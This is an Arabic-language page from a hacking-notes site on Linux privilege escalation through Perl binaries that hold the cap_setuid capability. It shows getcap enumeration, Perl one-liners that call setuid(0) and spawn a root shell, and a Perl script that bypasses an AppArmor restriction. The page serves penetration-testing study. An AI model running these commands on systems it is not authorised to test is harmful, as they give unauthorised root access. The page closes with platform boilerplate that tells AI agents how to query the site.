> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md).

# القدرات (Perl) - تصعيد امتيازات لينكس

## ما هو

تقسّم قدرات لينكس امتيازات الجذر إلى صلاحيات دقيقة يمكن إسنادها إلى الملفات التنفيذية. القدرات الخطيرة مثل `cap_setuid+ep`, `cap_dac_read_search+ep`، أو قدرات كتابة الملفات يمكنها تجاوز قيود المستخدم العادية. تركز هذه الصفحة تحديدًا على **القدرات (Perl)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
getcap -r / 2>/dev/null
```

## أمثلة

### استغلال **القدرات** في Perl

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#capabilities>" %}

سرد المتاحة **القدرات**:

```bash
getcap -r / 2>/dev/null
```

نلاحظ أن `perl` لديه أذونات خاصة.

<figure><img src="/files/d5fc26e1e99516a99d3e62b25dd802482df6a14d" alt=""><figcaption></figcaption></figure>

**تنفيذ أمر بصلاحيات الجذر**

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```

نحصل على **root**.

<figure><img src="/files/2e2ddf6820920143dc8fdd77d4c1d065aa0c1d70" alt=""><figcaption></figcaption></figure>

### تجاوز AppArmor

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```

<figure><img src="/files/3697f490d61bc467a05ab9cd173957e2225a574f" alt=""><figcaption></figcaption></figure>

الـ `/usr/bin/perl` الملف التنفيذي مقيد بواسطة **AppArmor**

<figure><img src="/files/b3fbc72e1fcade8d979c20af8f682628e8a602d4" alt=""><figcaption></figcaption></figure>

استخدم [خلل معروف في AppArmor](https://bugs.launchpad.net/zope3/+bug/191143) لتجاوز القيد عبر إنشاء سكربت:

```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```

<figure><img src="/files/be37514e9ddb0ae3edc783f7663ae7bfeda019a6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
